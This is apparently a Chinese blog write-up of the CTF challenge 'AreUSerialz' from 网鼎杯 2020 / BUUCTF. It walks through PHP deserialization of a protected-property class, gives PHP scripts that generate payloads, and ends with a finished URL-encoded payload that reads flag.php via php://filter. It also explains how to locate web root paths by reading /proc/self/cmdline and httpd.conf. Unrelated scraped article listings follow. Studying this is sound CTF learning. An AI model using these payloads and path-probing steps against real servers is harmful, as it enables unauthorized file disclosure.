0x00 前言

...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓。其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹。

涉及知识点:

1.php中protected变量反序列化的小Trick

2.获取任意文件读取权限后的文件绝对路径的查找

<!--more-->

0x01 源码

直接进入题目就可以看到源码了。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

   protected $op;
   protected $filename;
   protected $content;

   function __construct() {
       $op = "1";
       $filename = "/tmp/tmpfile";
       $content = "Hello World!";
       $this->process();
  }

   public function process() {
       if($this->op == "1") {
           $this->write();
      } else if($this->op == "2") {
           $res = $this->read();
           $this->output($res);
      } else {
           $this->output("Bad Hacker!");
      }
  }

   private function write() {
       if(isset($this->filename) && isset($this->content)) {
           if(strlen((string)$this->content) > 100) {
               $this->output("Too long!");
               die();
          }
           $res = file_put_contents($this->filename, $this->content);
           if($res) $this->output("Successful!");
           else $this->output("Failed!");
      } else {
           $this->output("Failed!");
      }
  }

   private function read() {
       $res = "";
       if(isset($this->filename)) {
           $res = file_get_contents($this->filename);
      }
       return $res;
  }

   private function output($s) {
       echo "[Result]: <br>";
       echo $s;
  }

   function __destruct() {
       if($this->op === "2")
           $this->op = "1";
       $this->content = "";
       $this->process();
  }

}

function is_valid($s) {
   for($i = 0; $i < strlen($s); $i++)
       if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
           return false;
   return true;
}

if(isset($_GET{'str'})) {

   $str = (string)$_GET['str'];
   if(is_valid($str)) {
       $obj = unserialize($str);
  }

}

0x02 分析

1.第一步-弱类型比较

大致讲一下比赛时候的分析过程吧。我吃完饭回来,队友突然给我来了一句__construct构造函数可以调用process函数,我迷惑了一秒,我之前一直以为这是一道反序列化的。然后赶紧查了一下资料,还好反序列化可以操纵的魔术方法中没有__construct,记录一下。

分析源码发现可以调用的魔术方法只有__destruct。而$op=2可以读文件,$op=1可以写文件,但是它把$content设置为0说明写这个操作是绝对实用不了了。那么我们把目光放在读文件上。

if($this->op === "2")
           $this->op = "1";

else if($this->op == "2") {
           $res = $this->read();
           $this->output($res);
}

这个放在这里应该没有人不会绕过吧。直接弱类型比较设置$op=2就完事了。然后本来以为可以直接构造pop链开始读文件的。但是遇到了下面的函数:

function is_valid($s) {
   for($i = 0; $i < strlen($s); $i++)
       if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
           return false;
   return true;
}

本来这里是没有什么问题的,但是因为你的变量是protected类型的,所以会产生%00字符,从而导致绕过失败。

2.第二步-绕过is_valid()

这里其实有两种绕过方法,这里都讲一下吧。

1.可以将protected类型的变量设置为public类型。然后就可以轻松绕过了。

<?php
class FileHandler {

   public $op = 2;
   public  $filename = "";
   public  $content = "Hello";

}

$a = new FileHandler();
$a->filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
$b = serialize($a);
echo $b;

?>

2.反序列化之前会做逐字判断,ascii必须>=32或<=125。由于这里是protected类型,需要加上%00进行标识 但是%会被过滤,就用十六进制\00和S来绕过。

<?php
class FileHandler {

   protected $op = 2;
   protected  $filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
   protected  $content = "Hello";

}

$a = new FileHandler();
$b = urlencode(serialize($a));
echo $b;
?>

然后将payload中的%00替换为\00s替换为S就行了。替换后的payload如下:

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A71%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A5%3A%22Hello%22%3B%7D

然后到这里,BUUCTF上的题目就可以直接读取flag了。

但是到这里网鼎杯的题却没有出来,当时没有截图,不过有幸找到了WriteUp。这里分析一下。

3.获取目标的绝对路径

网鼎杯中直接用相对路径读取发现会没有回显。猜测后端中修改了include函数的路径,也不对啊,非预期就是读同一级的flag.php啊?搞不明白好吧。反正使用绝对路径是绝对没有问题的。那么有了任意文件读取权限怎么获取绝对路径呢?

首先可以读取/proc/self/cmdline这个文件。可以获得如下结果。

然后读取配置文件/web/config/httpd.conf。获得网站的绝对路径。

然后读取/web/html/flag.php就好了。

这里BUU就不要尝试,因为你发现,BUU使用的是apache2。根目录就是我们熟悉的/var/www/html

0x03 结语

还行,通过这道题目学到了很多。尤其是S\00绕过。学WEB的师傅可以找我玩啊,可以一起学习一起进步的-->_<--。

QQ:550532788

0x04 参考

http://www.mamicode.com/info-detail-3004276.html

网鼎杯2020 AreUSerialz的更多相关文章

  1. [网鼎杯 2020 青龙组]AreUSerialz

    题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...

  2. 网鼎杯2020青龙组writeup-web

    本文首发于Leon的Blog,如需转载请注明原创地址并联系作者 AreUSerialz 开题即送源码: <?php include("flag.php"); highligh ...

  3. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  4. 刷题[网鼎杯 2020 朱雀组]phpweb

    解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...

  5. 【网鼎杯2020朱雀组】Web WriteUp

    nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...

  6. BUUCTF | [网鼎杯 2020 朱雀组]phpweb

    一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...

  7. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  8. [网鼎杯 2020 朱雀组]phpweb-1|反序列化

    1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...

  9. 2020 网鼎杯wp

    2020 网鼎杯WP 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录 AreUSerialz 知识点:反序列化 打开链接直接给出源码 <?php include ...

随机推荐

  1. [MIT6.006] 18. Speeding up Dijkstra 加速Dijkstra算法

    在之前的课我们讲过了Dijkstra算法,先回顾下,如下图: 那么如果加速DIjkstra算法寻找最短路径呢?这节课上讲师讲了两种方法:双向搜索(Bi-Directional Search)和目标方向 ...

  2. SpringBoot学习笔记(十七:MyBatis-Plus )

    @ 目录 一.MyBatis-Plus简介 二.基本用法 1.准备数据 2.引入依赖 2.配置 3.代码 4.测试 三.自定义SQL 1.自定义批量插入 2.自定义查询 2.1.自定义返回结果 2.2 ...

  3. (1)ElasticSearch搭配Kibana在linux环境的部署

    1.简介 这个章节主要介绍ElasticSearch+Kibana两个组件在linux环境的部署步骤,以及在部署过程中遇到问题解决,暂就不涉及集群部署知识点,后面章节再详细讲解这块.下面让我们来简单了 ...

  4. GDB的原理

    gdb调试不管是本地调试还是远程调试,都是基于ptrace系统调用来实现. ptrace系统调用提供了一种方法,让父进程可以观察和控制其它进程的执行,检查和改变其核心映像及寄存器.主要用来实现断点调试 ...

  5. 调度器简介,以及Linux的调度策略(转)

    进程是操作系统虚拟出来的概念,用来组织计算机中的任务.但随着进程被赋予越来越多的任务,进程好像有了真实的生命,它从诞生就随着CPU时间执行,直到最终消失.不过,进程的生命都得到了操作系统内核的关照.就 ...

  6. css 实现换肤几种方式

    说起换肤功能,前端肯定不陌生,其实就是颜色值的更换,实现方式有很多,也各有优缺点 一.可供选择的换肤 对于只提供几种主题方案,让用户来选择的,一般就简单粗暴的写多套主题 一个全局class控制样式切换 ...

  7. Linux上传递文件到另外一个Linux服务器

    现在的项目由于安全的需要,测试服务器被设置不能直接连接,想要连接的话,只能先登录一个服务器,然后以这个服务器为跳板,去登录另外一台真正的 服务器,即使是测试环境也只能这样操作.只能是相对来说安全一些. ...

  8. JetCache 源码分析

    一.简介 JetCache是一个基于Java的缓存系统封装,提供统一的API和注解来简化缓存的使用. JetCache提供了比SpringCache更加强大的注解,可以原生的支持TTL.两级缓存.分布 ...

  9. FTP漏洞利用复现

    目录 FTP弱口令漏洞 FTP后门漏洞利用 FTP弱口令漏洞 漏洞描述 FTP弱口令或匿名登录漏洞,一般指使用FTP的用户启用了匿名登录功能,或系统口令的长度太短.复杂度不够.仅包含数字.或仅包含字母 ...

  10. DWVA-命令注入漏洞闯关(Command Injection)

    前言 Vulnerability: Command Injection LOW级别 代码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // 几首一个变量 ...